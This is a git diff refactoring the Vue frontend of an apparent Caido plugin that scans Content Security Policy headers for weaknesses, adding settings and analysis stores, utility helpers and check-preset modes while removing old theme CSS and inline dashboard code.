defineStore, storeToRefs } from "pinia"; +import type { ConfigurableCheckId } from "shared"; +import { computed } from "vue"; + +import { useSettingsStore } from "@/stores/settings"; + +export const useSettingsService = defineStore("services.settings", () => { + const store = useSettingsStore(); + const { scopeEnabled, findingsEnabled, checkSettings } = storeToRefs(store); + + const enabledCount = computed( + () => Object.values(checkSettings.value).filter((c) => c.enabled).length, + ); + + const totalCount = computed(() => Object.keys(checkSettings.value).length); + + const initialize = () => store.initialize(); + const loadAll = () => store.loadAll(); + const updateScope = (enabled: boolean) => store.updateScope(enabled); + const updateFindings = (enabled: boolean) => store.updateFindings(enabled); + const updateSingleCheck = (checkId: ConfigurableCheckId, enabled: boolean) => + store.updateSingleCheck(checkId, enabled); + const setAllChecks = (enabled: boolean) => store.setAllChecks(enabled); + const setRecommendedMode = () => store.setRecommendedMode(); + const setLightMode = () => store.setLightMode(); + + return { + scopeEnabled, + findingsEnabled, + checkSettings, + enabledCount, + totalCount, + initialize, + loadAll, + updateScope, + updateFindings, + updateSingleCheck, + setAllChecks, + setRecommendedMode, + setLightMode, + }; +}); diff --git a/packages/frontend/src/stores/analyses/index.ts b/packages/frontend/src/stores/analyses/index.ts new file mode 100644 index 0000000..6f76a09 --- /dev/null +++ b/packages/frontend/src/stores/analyses/index.ts @@ -0,0 +1,9 @@ +import { defineStore } from "pinia"; + +import { useAnalysesState } from "./useAnalysesState"; + +export const useAnalysesStore = defineStore("stores.analyses", () => { + return { + ...useAnalysesState(), + }; +}); diff --git a/packages/frontend/src/stores/analyses/useAnalysesState.ts b/packages/frontend/src/stores/analyses/useAnalysesState.ts new file mode 100644 index 0000000..ac276aa --- /dev/null +++ b/packages/frontend/src/stores/analyses/useAnalysesState.ts @@ -0,0 +1,55 @@ +import type { AnalysisResult } from "shared"; +import { ref } from "vue"; + +type AnalysesState = + | { type: "Idle" } + | { type: "Loading" } + | { type: "Error"; error: string } + | { type: "Success"; analyses: AnalysisResult[] }; + +type Message = + | { type: "Start" } + | { type: "Error"; error: string } + | { type: "Success"; analyses: AnalysisResult[] } + | { type: "Clear" }; + +function transition(current: AnalysesState, message: Message): AnalysesState { + switch (current.type) { + case "Idle": + if (message.type === "Start") return { type: "Loading" }; + if (message.type === "Success") + return { type: "Success", analyses: message.analyses }; + return current; + case "Loading": + if (message.type === "Error") + return { type: "Error", error: message.error }; + if (message.type === "Success") + return { type: "Success", analyses: message.analyses }; + if (message.type === "Clear") return { type: "Idle" }; + return current; + case "Error": + if (message.type === "Start") return { type: "Loading" }; + if (message.type === "Success") + return { type: "Success", analyses: message.analyses }; + if (message.type === "Clear") return { type: "Idle" }; + return current; + case "Success": + if (message.type === "Success") + return { type: "Success", analyses: message.analyses }; + if (message.type === "Start") return { type: "Loading" }; + if (message.type === "Clear") return { type: "Idle" }; + return current; + default: + return current; + } +} + +export function useAnalysesState() { + const state = ref<AnalysesState>({ type: "Idle" }); + + const send = (message: Message) => { + state.value = transition(state.value, message); + }; + + return { state, send }; +} diff --git a/packages/frontend/src/stores/settings.ts b/packages/frontend/src/stores/settings.ts new file mode 100644 index 0000000..00adc07 --- /dev/null +++ b/packages/frontend/src/stores/settings.ts @@ -0,0 +1,140 @@ +import { defineStore } from "pinia"; +import { DEFAULT_CHECK_DEFINITIONS } from "shared"; +import type { CheckDefinition, ConfigurableCheckId } from "shared"; +import { ref } from "vue"; + +import { useSDK } from "@/plugins/sdk"; + +type CheckSettingsMap = Record<string, { enabled: boolean } & CheckDefinition>; + +function buildInitialChecks(): CheckSettingsMap { + const result: CheckSettingsMap = {}; + for (const [id, def] of Object.entries(DEFAULT_CHECK_DEFINITIONS)) { + result[id] = { enabled: true, ...def }; + } + return result; +} + +export const useSettingsStore = defineStore("stores.settings", () => { + const sdk = useSDK(); + const scopeEnabled = ref(true); + const findingsEnabled = ref(false); + const checkSettings = ref<CheckSettingsMap>(buildInitialChecks()); + let initPromise: Promise<void> | undefined; + + async function initialize() { + if (initPromise !== undefined) return initPromise; + initPromise = loadAll().catch((error) => { + initPromise = undefined; + throw error; + }); + await initPromise; + } + + async function loadAll() { + const scopeResult = await sdk.backend.getScopeEnabled(); + if (scopeResult.kind === "Ok") scopeEnabled.value = scopeResult.value; + + const findingsResult = await sdk.backend.getFindingsEnabled(); + if (findingsResult.kind === "Ok") + findingsEnabled.value = findingsResult.value; + + const checksResult = await sdk.backend.getCheckSettings(); + if (checksResult.kind === "Ok") { + for (const [id, enabled] of Object.entries(checksResult.value)) { + if (checkSettings.value[id] !== undefined) { + checkSettings.value[id].enabled = enabled; + } + } + } + } + + function showWriteError() { + sdk.window.showToast("Failed to save setting", { variant: "error" }); + } + + async function updateScope(enabled: boolean) { + const result = await sdk.backend.setScopeEnabled(enabled); + if (result.kind === "Ok") scopeEnabled.value = enabled; + else showWriteError(); + } + + async function updateFindings(enabled: boolean) { + const result = await sdk.backend.setFindingsEnabled(enabled); + if (result.kind === "Ok") findingsEnabled.value = enabled; + else showWriteError(); + } + + async function updateSingleCheck( + checkId: ConfigurableCheckId, + enabled: boolean, + ) { + const result = await sdk.backend.updateSingleCheck(checkId, enabled); + if (result.kind === "Ok" && checkSettings.value[checkId] !== undefined) { + checkSettings.value[checkId].enabled = enabled; + } else if (result.kind !== "Ok") { + showWriteError(); + } + } + + async function setAllChecks(enabled: boolean) { + const settingsMap: Record<string, boolean> = {}; + for (const id of Object.keys(checkSettings.value)) { + settingsMap[id] = enabled; + } + const result = await sdk.backend.setCheckSettings(settingsMap); + if (result.kind === "Ok") { + for (const id of Object.keys(checkSettings.value)) { + checkSettings.value[id]!.enabled = enabled; + } + } else { + showWriteError(); + } + } + + async function setRecommendedMode() { + const settingsMap: Record<string, boolean> = {}; + for (const [id, check] of Object.entries(checkSettings.value)) { + settingsMap[id] = + check.severity === "high" || check.severity === "medium"; + } + const result = await sdk.backend.setCheckSettings(settingsMap); + if (result.kind === "Ok") { + for (const [id, check] of Object.entries(checkSettings.value)) { + check.enabled = settingsMap[id]!; + } + } else { + showWriteError(); + } + } + + async function setLightMode() { + const settingsMap: Record<string, boolean> = {}; + for (const [id, check] of Object.entries(checkSettings.value)) { + settingsMap[id] = + check.severity === "high" || check.category === "Critical"; + } + const result = await sdk.backend.setCheckSettings(settingsMap); + if (result.kind === "Ok") { + for (const [id, check] of Object.entries(checkSettings.value)) { + check.enabled = settingsMap[id]!; + } + } else { + showWriteError(); + } + } + + return { + scopeEnabled, + findingsEnabled, + checkSettings, + initialize, + loadAll, + updateScope, + updateFindings, + updateSingleCheck, + setAllChecks, + setRecommendedMode, + setLightMode, + }; +}); diff --git a/packages/frontend/src/styles/caido.css b/packages/frontend/src/styles/caido.css deleted file mode 100644 index 23591f7..0000000 --- a/packages/frontend/src/styles/caido.css +++ /dev/null @@ -1,72 +0,0 @@ -:root { - /* Generated from https://uicolors.app/ */ - /* If you need additional variants, use https://uicolors.app/ to generate them */ - /* These variables are meant to be customized by Caido users */ - - /* Primary with #a0213e as a base color */ - --c-primary-100: 357deg 78% 95%; - --c-primary-200: 354deg 76% 90%; - --c-primary-300: 353deg 76% 82%; - --c-primary-400: 352deg 75% 71%; - --c-primary-500: 350deg 71% 60%; - --c-primary-600: 348deg 61% 50%; - --c-primary-700: 346deg 66% 38%; - --c-primary-800: 345deg 64% 35%; - --c-primary-900: 342deg 60% 30%; - - /* Secondary with #daa04a as a base color */ - --c-secondary-100: 41deg 65% 89%; - --c-secondary-200: 40deg 66% 77%; - --c-secondary-300: 38deg 66% 65%; - --c-secondary-400: 36deg 66% 57%; - --c-secondary-500: 30deg 63% 50%; - --c-secondary-600: 25deg 65% 44%; - --c-secondary-700: 19deg 62% 37%; - --c-secondary-800: 15deg 56% 31%; - --c-secondary-900: 14deg 53% 26%; - - /* Danger with #f58e97 as a base color */ - --c-danger-100: 0deg 85% 95%; - --c-danger-200: 356deg 84% 90%; - --c-danger-300: 356deg 85% 82%; - --c-danger-400: 355deg 84% 76%; - --c-danger-500: 353deg 79% 60%; - --c-danger-600: 350deg 69% 50%; - --c-danger-700: 349deg 73% 41%; - --c-danger-800: 347deg 71% 35%; - --c-danger-900: 345deg 66% 30%; - - /* Info with #88a2aa as a base color */ - --c-info-100: 193deg 18% 90%; - --c-info-200: 194deg 18% 82%; - --c-info-300: 193deg 18% 69%; - --c-info-400: 194deg 17% 60%; - --c-info-500: 195deg 18% 43%; - --c-info-600: 198deg 18% 36%; - --c-info-700: 201deg 16% 31%; - --c-info-800: 200deg 13% 27%; - --c-info-900: hsl(204, 12%, 24%); - - /* Success with #579c57 as a base color */ - --c-success-100: 120deg 32% 93%; - --c-success-200: 118deg 32% 85%; - --c-success-300: 120deg 31% 73%; - --c-success-400: 120deg 28% 58%; - --c-success-500: 120deg 28% 48%; - --c-success-600: 120deg 31% 36%; - --c-success-700: 120deg 29% 29%; - --c-success-800: 122deg 25% 24%; - --c-success-900: 122deg 24% 20%; - - /* Surface */ - /* This is not generated from https://uicolors.app/ */ - --c-surface-0: 24deg 12% 92%; - --c-surface-200: 0deg 0% 78%; - --c-surface-300: 0deg 0% 67%; - --c-surface-400: 0deg 0% 57%; - --c-surface-500: 0deg 0% 47%; - --c-surface-600: 0deg 0% 38%; - --c-surface-700: 224deg 9% 31%; - --c-surface-800: 224deg 10% 21%; - --c-surface-900: 225deg 10% 16%; -} \ No newline at end of file diff --git a/packages/frontend/src/styles/index.css b/packages/frontend/src/styles/index.css index 5725cce..76fcadc 100644 --- a/packages/frontend/src/styles/index.css +++ b/packages/frontend/src/styles/index.css @@ -1,5 +1,3 @@ -@import "./caido.css"; -@import "./primevue.css"; @import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; diff --git a/packages/frontend/src/styles/primevue.css b/packages/frontend/src/styles/primevue.css deleted file mode 100644 index 3d3920b..0000000 --- a/packages/frontend/src/styles/primevue.css +++ /dev/null @@ -1,72 +0,0 @@ -/* Primary and Surface Palettes */ -:root { - --p-primary-50: hsl(var(--c-primary-100)); - --p-primary-100: hsl(var(--c-primary-100)); - --p-primary-200: hsl(var(--c-primary-200)); - --p-primary-300: hsl(var(--c-primary-300)); - --p-primary-400: hsl(var(--c-primary-400)); - --p-primary-500: hsl(var(--c-primary-500)); - --p-primary-600: hsl(var(--c-primary-600)); - --p-primary-700: hsl(var(--c-primary-700)); - --p-primary-800: hsl(var(--c-primary-800)); - --p-primary-900: hsl(var(--c-primary-900)); - --p-primary-950: hsl(var(--c-primary-900)); - --p-surface-0: hsl(var(--c-surface-0)); - --p-surface-50: #f8fafc; - --p-surface-100: #f1f5f9; - --p-surface-200: hsl(var(--c-surface-200)); - --p-surface-300: hsl(var(--c-surface-300)); - --p-surface-400: hsl(var(--c-surface-400)); - --p-surface-500: hsl(var(--c-surface-500)); - --p-surface-600: hsl(var(--c-surface-600)); - --p-surface-700: hsl(var(--c-surface-700)); - --p-surface-800: hsl(var(--c-surface-800)); - --p-surface-900: hsl(var(--c-surface-900)); - --p-surface-950: hsl(var(--c-surface-900)); - --p-content-border-radius: 6px; -} - -/* Light Mode */ -:root { - --p-primary-color: var(--p-primary-500); - --p-primary-contrast-color: var(--p-surface-0); - --p-primary-hover-color: var(--p-primary-600); - --p-primary-active-color: var(--p-primary-700); - --p-content-border-color: var(--p-surface-200); - --p-content-hover-background: var(--p-surface-100); - --p-content-hover-color: var(--p-surface-800); - --p-highlight-background: var(--p-primary-50); - --p-highlight-color: var(--p-primary-700); - --p-highlight-focus-background: var(--p-primary-100); - --p-highlight-focus-color: var(--p-primary-800); - --p-text-color: var(--p-surface-700); - --p-text-hover-color: var(--p-surface-800); - --p-text-muted-color: var(--p-surface-500); - --p-text-hover-muted-color: var(--p-surface-600); -} - -/* - * Dark Mode - * Change the .p-dark to match the darkMode in tailwind.config. - * For example; - * darkMode: ['selector', '[class*="app-dark"]'] - * should match; - * :root.app-dark -*/ -:root[data-mode=dark] { - --p-primary-color: var(--p-primary-400); - --p-primary-contrast-color: var(--p-surface-900); - --p-primary-hover-color: hsl(var(--c-secondary-300)); - --p-primary-active-color: hsl(var(--c-secondary-200)); - --p-content-border-color: var(--p-surface-700); - --p-content-hover-background: var(--p-surface-800); - --p-content-hover-color: var(--p-surface-0); - --p-highlight-background: color-mix(in srgb, hsl(var(--c-secondary-400)), transparent 84%); - --p-highlight-color: rgba(255,255,255,.87); - --p-highlight-focus-background: color-mix(in srgb, hsl(var(--c-secondary-400)), transparent 76%); - --p-highlight-focus-color: rgba(255,255,255,.87); - --p-text-color: var(--p-surface-0); - --p-text-hover-color: var(--p-surface-0); - --p-text-muted-color: var(--p-surface-400); - --p-text-hover-muted-color: var(--p-surface-300); -} \ No newline at end of file diff --git a/packages/frontend/src/types.ts b/packages/frontend/src/types.ts index b2cf303..fc24656 100644 --- a/packages/frontend/src/types.ts +++ b/packages/frontend/src/types.ts @@ -1,110 +1,4 @@ -export interface FrontendSDK { - navigation: { - addPage: (path: string, options: { body: HTMLElement }) => void; - }; - sidebar: { - registerItem: (title: string, path: string) => void; - }; - backend: { - getCspStats: () => Promise<CspStats>; - getAllCspAnalyses: () => Promise<CspAnalysisResult[]>; - getScopeRespecting: () => Promise<boolean>; - getCreateFindings: () => Promise<boolean>; - setScopeRespecting: (value: boolean) => Promise<void>; - setCreateFindings: (value: boolean) => Promise<void>; - clearCspCache: () => Promise<void>; - exportCspFindings: (format: "json" | "csv") => Promise<string>; - getCspCheckSettings: () => Promise<Record<string, boolean>>; - setCspCheckSettings: (settings: Record<string, boolean>) => Promise<void>; - updateCspCheckSetting: (checkId: string, enabled: boolean) => Promise<void>; - getBypassDatabase: () => Promise<BypassEntry[]>; - onEvent: ( - event: "analysisUpdated", - callback: () => void, - ) => { stop: () => void }; - }; -} +import type { Caido } from "@caido/sdk-frontend"; +import type { API, Events } from "backend"; -export interface BypassEntry { - domain: string; - code: string; - technique: string; - id: string; -} - -export interface CspSource { - value: string; - type: "keyword" | "scheme" | "host" | "nonce" | "hash" | "unsafe"; - isWildcard: boolean; - isUnsafe: boolean; -} - -export interface CspDirective { - name: string; - values: string[]; - implicit: boolean; - sources: CspSource[]; -} - -export interface CspPolicy { - id: string; - requestId: string; - headerName: string; - headerValue: string; - directives: Map<string, CspDirective>; - isReportOnly: boolean; - isDeprecated: boolean; - parsedAt: Date; - url?: string; -} - -export type VulnerabilityType = - | "script-wildcard" - | "script-unsafe-inline" - | "script-unsafe-eval" - | "style-wildcard" - | "style-unsafe-inline" - | "user-content-host" - | "vulnerable-js-host" - | "deprecated-header" - | "wildcard-limited"; - -export type Severity = "high" | "medium" | "low" | "info"; - -export interface CspVulnerability { - id: string; - type: VulnerabilityType; - severity: Severity; - directive: string; - value: string; - description: string; - remediation: string; - cweId?: number; - requestId: string; -} - -export interface CspAnalysisResult { - requestId: string; - policies: CspPolicy[]; - vulnerabilities: CspVulnerability[]; - analyzedAt: Date; -} - -export interface CspStats { - totalAnalyses: number; - totalVulnerabilities: number; - severityStats: { - high: number; - medium: number; - low: number; - info: number; - }; - typeStats: Record<string, number>; - lastAnalyzed: Date | undefined; -} - -export interface FindingFilter { - severity?: Severity[]; - types?: VulnerabilityType[]; - search?: string; -} +export type FrontendSDK = Caido<API, Events>; diff --git a/packages/frontend/src/utils/formatting.ts b/packages/frontend/src/utils/formatting.ts new file mode 100644 index 0000000..4156e97 --- /dev/null +++ b/packages/frontend/src/utils/formatting.ts @@ -0,0 +1,36 @@ +import type { AnalysisResult } from "shared"; + +export function formatDate(date: Date | string): string { + const parsed = new Date(date); + if (isNaN(parsed.getTime())) return String(date); + return parsed.toLocaleString(); +} + +export function extractHostAndPath(analysis: AnalysisResult): { + host: string; + path: string; +} { + const firstPolicy = analysis.policies[0]; + + if (firstPolicy?.url !== undefined && firstPolicy.url.trim() !== "") { + try { + let raw = firstPolicy.url; + if (!raw.startsWith("http://") && !raw.startsWith("https://")) { + raw = `https://${raw}`; + } + + const parsed = new URL(raw); + return { host: parsed.hostname, path: parsed.pathname || "/" }; + } catch { + const parts = firstPolicy.url.split("/"); + const hostPart = parts[0]; + return { + host: + hostPart !== undefined && hostPart.trim() !== "" ? hostPart : "N/A", + path: "/", + }; + } + } + + return { host: "N/A", path: "N/A" }; +} diff --git a/packages/frontend/src/utils/severity.ts b/packages/frontend/src/utils/severity.ts new file mode 100644 index 0000000..22f5510 --- /dev/null +++ b/packages/frontend/src/utils/severity.ts @@ -0,0 +1,14 @@ +import type { SeverityLevel } from "shared"; + +export function getSeverityBadgeStyle(level: SeverityLevel): string { + switch (level) { + case "high": + return "bg-red-500/20 text-red-400 border-red-500/30"; + case "medium": + return "bg-orange-500/20 text-orange-400 border-orange-500/30"; + case "low": + return "bg-yellow-500/20 text-yellow-400 border-yellow-500/30"; + case "info": + return "bg-surface-500/20 text-surface-400 border-surface-500/30"; + } +} diff --git a/packages/frontend/src/utils/technique.ts b/packages/frontend/src/utils/technique.ts new file mode 100644 index 0000000..614880b --- /dev/null +++ b/packages/frontend/src/utils/technique.ts @@ -0,0 +1,24 @@ +export function getTechniqueColor(technique: string): string { + switch (technique) { + case "JSONP": + return "success"; + case "AngularJS": + return "danger"; + case "Alpine.js": + return "info"; + case "HTMX": + return "warning"; + case "Hyperscript": + return "secondary"; + case "Script Injection": + return "danger"; + case "Event Handler": + return "warning"; + case "Link Preload": + return "info"; + case "Iframe Injection": + return "danger"; + default: + return "secondary"; + } +} diff --git a/packages/frontend/src/views/App.vue b/packages/frontend/src/views/App.vue index 0a98904..7f995db 100644 --- a/packages/frontend/src/views/App.vue +++ b/packages/frontend/src/views/App.vue @@ -1,2003 +1,42 @@ <script setup lang="ts"> -import Badge from "primevue/badge"; import Button from "primevue/button"; -import Card from "primevue/card"; -import Divider from "primevue/divider"; -import InputSwitch from "primevue/inputswitch"; -import InputText from "primevue/inputtext"; -import ProgressBar from "primevue/progressbar"; -import TabPanel from "primevue/tabpanel"; -import TabView from "primevue/tabview"; -import Tag from "primevue/tag"; -import { computed, onMounted, onUnmounted, ref, watch } from "vue"; +import MenuBar from "primevue/menubar"; +import { onMounted } from "vue"; -import { - type BypassPayload, - getBypassesForVulnerability, - getDifficultyColor, -} from "@/data/bypass-payloads"; -import { useSDK } from "@/plugins/sdk"; -import type { - BypassEntry, - CspAnalysisResult, - CspStats, - CspVulnerability, -} from "@/types"; +import { VulnerabilityModal } from "@/components/VulnerabilityModal"; +import { usePageNavigation } from "@/composables/usePageNavigation"; +import { useAnalysesService } from "@/services/analyses"; +import { useSettingsService } from "@/services/settings"; -interface CspCheck { - id: string; - enabled: boolean; - name: string; - category: string; - severity: string; - description: string; -} - -const sdk = useSDK(); - -const stats = ref<CspStats>({ - totalAnalyses: 0, - totalVulnerabilities: 0, - severityStats: { high: 0, medium: 0, low: 0, info: 0 }, - typeStats: {}, - lastAnalyzed: undefined, -}); - -const allAnalyses = ref<CspAnalysisResult[]>([]); -const loading = ref(false); -const selectedAnalysis = ref<CspAnalysisResult | undefined>(undefined); - -const currentPage = ref(1); -const itemsPerPage = ref(10); - -const autoRefreshEnabled = ref(true); -let eventSubscription: { stop: () => void } | undefined; - -const respectScope = ref(true); -const createFindings = ref(false); - -// Settings for CSP checks -const cspCheckSettings = ref({ - // Critical vulnerabilities - "script-wildcard": { - enabled: true, - name: "Script Wildcard Sources", - category: "Critical", - severity: "high", - description: "Detect wildcard (*) in script-src directive", - }, - "script-unsafe-inline": { - enabled: true, - name: "Unsafe Inline Scripts", - category: "Critical", - severity: "high", - description: "Detect unsafe-inline in script-src directive", - }, - "script-unsafe-eval": { - enabled: true, - name: "Unsafe Eval", - category: "Critical", - severity: "high", - description: "Detect unsafe-eval in script-src directive", - }, - "script-data-uri": { - enabled: true, - name: "Data URI Scripts", - category: "Critical", - severity: "high", - description: "Detect data: URIs in script-src directive", - }, - "object-wildcard": { - enabled: true, - name: "Object Wildcard Sources", - category: "Critical", - severity: "high", - description: "Detect wildcard (*) in object-src directive", - }, - - // Modern threats - "jsonp-bypass-risk": { - enabled: true, - name: "JSONP Bypass Risk", - category: "Modern Threats", - severity: "high", - description: "Detect domains that support JSONP callbacks", - }, - "angularjs-bypass": { - enabled: true, - name: "AngularJS Template Injection", - category: "Modern Threats", - severity: "high", - description: "Detect AngularJS template injection risks", - }, - "ai-ml-host": { - enabled: true, - name: "AI/ML Service Integration", - category: "Modern Threats", - severity: "medium", - description: "Detect AI/ML service endpoints", - }, - "web3-host": { - enabled: true, - name: "Web3/Crypto Integration", - category: "Modern Threats", - severity: "medium", - description: "Detect Web3/cryptocurrency endpoints", - }, - "cdn-supply-chain": { - enabled: true, - name: "CDN Supply Chain Risk", - category: "Modern Threats", - severity: "medium", - description: "Detect CDN endpoints with supply chain risks", - }, - - // Missing features - "missing-trusted-types": { - enabled: true, - name: "Missing Trusted Types", - category: "Missing Features", - severity: "medium", - description: "Check for missing trusted-types directive", - }, - "missing-require-trusted-types": { - enabled: true, - name: "Missing Require Trusted Types", - category: "Missing Features", - severity: "medium", - description: "Check for missing require-trusted-types-for directive", - }, - "missing-essential-directive": { - enabled: true, - name: "Missing Essential Directives", - category: "Missing Features", - severity: "medium", - description: "Check for missing essential CSP directives", - }, - "permissive-base-uri": { - enabled: true, - name: "Permissive Base URI", - category: "Policy Weaknesses", - severity: "medium", - description: "Check for overly permissive base-uri directive", - }, - - // Style-related - "style-wildcard": { - enabled: true, - name: "Style Wildcard Sources", - category: "Style Issues", - severity: "low", - description: "Detect wildcard (*) in style-src directive", - }, - "style-unsafe-inline": { - enabled: true, - name: "Unsafe Inline Styles", - category: "Style Issues", - severity: "medium", - description: "Detect unsafe-inline in style-src directive", - }, - - // Legacy/deprecated - "deprecated-header": { - enabled: true, - name: "Deprecated CSP Headers", - category: "Legacy Issues", - severity: "medium", - description: "Detect deprecated CSP header names", - }, - "user-content-host": { - enabled: true, - name: "User Content Hosts", - category: "Legacy Issues", - severity: "high", - description: "Detect domains that host user-uploaded content", - }, - "vulnerable-js-host": { - enabled: true, - name: "Vulnerable JS Library Hosts", - category: "Legacy Issues", - severity: "high", - description: "Detect domains with vulnerable JavaScript libraries", - }, - - // Advanced - "nonce-unsafe-inline-conflict": { - enabled: true, - name: "Nonce/Unsafe-Inline Conflict", - category: "Advanced", - severity: "medium", - description: "Detect nonce security weakened by unsafe-inline", - }, -}); - -const activeTab = ref(0); - -// Modal state for vulnerability details -const showVulnerabilityModal = ref(false); -const selectedVulnerability = ref<CspVulnerability | undefined>(undefined); -const selectedAnalysisForModal = ref<CspAnalysisResult | undefined>(undefined); - -// CSP Bypass data -const bypassEntries = ref<BypassEntry[]>([]); -const loadingBypasses = ref(false); -const bypassSearchQuery = ref(""); +const { navItems, component } = usePageNavigation(); +const analysesService = useAnalysesService(); +const settingsService = useSettingsService(); onMounted(async () => { - await loadDashboardData(); - await loadScopeSettings(); - await loadCreateFindingsSettings(); - await loadCspCheckSettings(); - await loadBypassData(); - startAutoRefresh(); -}); - -onUnmounted(() => { - if (eventSubscription) { - eventSubscription.stop(); - } + await settingsService.initialize(); + await analysesService.initialize(); }); - -// Watch for individual setting changes and save to backend -watch( - cspCheckSettings, - () => { - saveCspCheckSettings(); - }, - { deep: true }, -); - -const calculateStatsFromAnalyses = (analyses: CspAnalysisResult[]) => { - const allVulnerabilities = analyses.flatMap( - (analysis) => analysis.vulnerabilities, - ); - - const severityStats = { - high: allVulnerabilities.filter((v) => v.severity === "high").length, - medium: allVulnerabilities.filter((v) => v.severity === "medium").length, - low: allVulnerabilities.filter((v) => v.severity === "low").length, - info: allVulnerabilities.filter((v) => v.severity === "info").length, - }; - - const typeStats: Record<string, number> = {}; - for (const vuln of allVulnerabilities) { - typeStats[vuln.type] = (typeStats[vuln.type] ?? 0) + 1; - } - - return { - totalVulnerabilities: allVulnerabilities.length, - severityStats, - typeStats, - }; -}; - -const loadDashboardData = async () => { - loading.value = true; - try { - // eslint-disable-next-line compat/compat - const [statsData, analysesData] = await Promise.all([ - sdk.backend.getCspStats(), - sdk.backend.getAllCspAnalyses(), - ]); - - allAnalyses.value = analysesData; - - const allStats = calculateStatsFromAnalyses(allAnalyses.value); - stats.value = { - ...statsData, - totalAnalyses: allAnalyses.value.length, - totalVulnerabilities: allStats.totalVulnerabilities, - severityStats: allStats.severityStats, - typeStats: allStats.typeStats, - lastAnalyzed: allAnalyses.value.length > 0 ? new Date() : undefined, - }; - } catch (error) { - console.error("Failed to load dashboard data:", error); - } finally { - loading.value = false; - } -}; - -const refreshData = async () => { - await loadDashboardData(); -}; - -const startAutoRefresh = () => { - if (autoRefreshEnabled.value && !eventSubscription) { - eventSubscription = sdk.backend.onEvent("analysisUpdated", async () => { - if (!loading.value) { - await loadDashboardData(); - } - }); - } -}; - -const stopAutoRefresh = () => { - if (eventSubscription) { - eventSubscription.stop(); - eventSubscription = undefined; - } -}; - -const toggleAutoRefresh = () => { - autoRefreshEnabled.value = !autoRefreshEnabled.value; - if (autoRefreshEnabled.value) { - startAutoRefresh(); - } else { - stopAutoRefresh(); - } -}; - -const loadScopeSettings = async () => { - try { - const scopeSetting = await sdk.backend.getScopeRespecting(); - respectScope.value = scopeSetting; - } catch (error) { - console.error("Failed to load scope settings:", error); - } -}; - -const loadCreateFindingsSettings = async () => { - try { - const findingsSetting = await sdk.backend.getCreateFindings(); - createFindings.value = findingsSetting; - } catch (error) { - console.error("Failed to load create findings settings:", error); - } -}; - -const updateScopeRespecting = async (newValue: boolean) => { - try { - await sdk.backend.setScopeRespecting(newValue); - } catch (error) { - console.error("Failed to update scope setting:", error); - respectScope.value = !newValue; - } -}; - -const updateCreateFindings = async (newValue: boolean) => { - try { - await sdk.backend.setCreateFindings(newValue); - } catch (error) { - console.error("Failed to update create findings setting:", error); - createFindings.value = !newValue; - } -}; - -const clearCache = async () => { - try { - await sdk.backend.clearCspCache(); - await loadDashboardData(); - } catch (error) { - console.error("Failed to clear cache:", error); - } -}; - -const exportFindings = async (format: "json" | "csv") => { - try { - const data = await sdk.backend.exportCspFindings(format); - - // Create and trigger download - const blob = new Blob([data], { - type: format === "json" ? "application/json" : "text/csv", - }); - // eslint-disable-next-line compat/compat - const url = URL.createObjectURL(blob); - const link = document.createElement("a"); - link.href = url; - link.download = `csp-findings.${format}`; - document.body.appendChild(link); - link.click(); - document.body.removeChild(link); - // eslint-disable-next-line compat/compat - URL.revokeObjectURL(url); - } catch (error) { - console.error("Failed to export findings:", error); - } -}; - -const getSeverityBadgeClass = (severity: string) => { - const classes: Record<string, string> = { - high: "bg-red-500", - medium: "bg-orange-500", - low: "bg-yellow-500", - info: "bg-blue-500", - }; - const severityClass = classes[severity]; - if ( - severityClass !== null && - severityClass !== undefined && - severityClass.trim() !== "" - ) { - return severityClass; - } - return "bg-gray-500"; -}; - -const formatDate = (date: Date | string) => { - return new Date(date).toLocaleString(); -}; - -const extractHostAndPath = (analysis: CspAnalysisResult) => { - const firstPolicy = analysis.policies[0]; - - if (firstPolicy?.url !== undefined && firstPolicy.url.trim() !== "") { - try { - let urlToparse = firstPolicy.url; - if ( - !urlToparse.startsWith("http://") && - !urlToparse.startsWith("https://") - ) { - urlToparse = "https://" + urlToparse; - } - - const url = new URL(urlToparse); - return { - host: url.hostname, - path: url.pathname || "/", - }; - } catch (error) { - const parts = firstPolicy.url?.split("/") ?? []; - if (parts.length > 0) { - const firstPart = parts[0]; - let hostPart = "N/A"; - if ( - firstPart !== null && - firstPart !== undefined && - firstPart.trim() !== "" - ) { - hostPart = firstPart.replace(/^https?:\/\//, ""); - } - const pathPart = "/" + parts.slice(1).join("/"); - return { - host: hostPart, - path: pathPart === "/" && parts.length === 1 ? "/" : pathPart, - }; - } - } - } - - return { - host: "N/A", - path: "N/A", - }; -}; - -const getSeverityPercentage = computed(() => { - const total = stats.value.totalVulnerabilities; - if (total === 0) return { high: 0, medium: 0, low: 0, info: 0 }; - - return { - high: (stats.value.severityStats.high / total) * 100, - medium: (stats.value.severityStats.medium / total) * 100, - low: (stats.value.severityStats.low / total) * 100, - info: (stats.value.severityStats.info / total) * 100, - }; -}); - -// Convert settings object to array for table display -const cspChecksArray = computed((): CspCheck[] => { - return Object.entries(cspCheckSettings.value).map(([key, check]) => ({ - id: key, - ...check, - })); -}); - -// Group checks by category -const checksByCategory = computed((): Record<string, CspCheck[]> => { - const grouped: Record<string, CspCheck[]> = {}; - cspChecksArray.value.forEach((check) => { - if (!grouped[check.category]) { - grouped[check.category] = []; - } - grouped[check.category]?.push(check); - }); - return grouped; -}); - -const enabledChecksCount = computed(() => { - return Object.values(cspCheckSettings.value).filter((check) => check.enabled) - .length; -}); - -const totalChecksCount = computed(() => { - return Object.keys(cspCheckSettings.value).length; -}); - -// Quick preset functions -const enableAllChecks = () => { - Object.keys(cspCheckSettings.value).forEach((key) => { - cspCheckSettings.value[key as keyof typeof cspCheckSettings.value].enabled = - true; - }); - saveCspCheckSettings(); -}; - -const disableAllChecks = () => { - Object.keys(cspCheckSettings.value).forEach((key) => { - cspCheckSettings.value[key as keyof typeof cspCheckSettings.value].enabled = - false; - }); - saveCspCheckSettings(); -}; - -const setAggressiveMode = () => { - enableAllChecks(); -}; - -const setLightMode = () => { - // Enable only critical checks - Object.entries(cspCheckSettings.value).forEach(([key, check]) => { - cspCheckSettings.value[key as keyof typeof cspCheckSettings.value].enabled = - check.severity === "high" || check.category === "Critical"; - }); - saveCspCheckSettings(); -}; - -const setRecommendedMode = () => { - // Enable high and medium severity checks - Object.entries(cspCheckSettings.value).forEach(([key, check]) => { - cspCheckSettings.value[key as keyof typeof cspCheckSettings.value].enabled = - check.severity === "high" || check.severity === "medium"; - }); - saveCspCheckSettings(); -}; - -const loadCspCheckSettings = async () => { - try { - const backendSettings = await sdk.backend.getCspCheckSettings(); - - // Update our frontend settings with 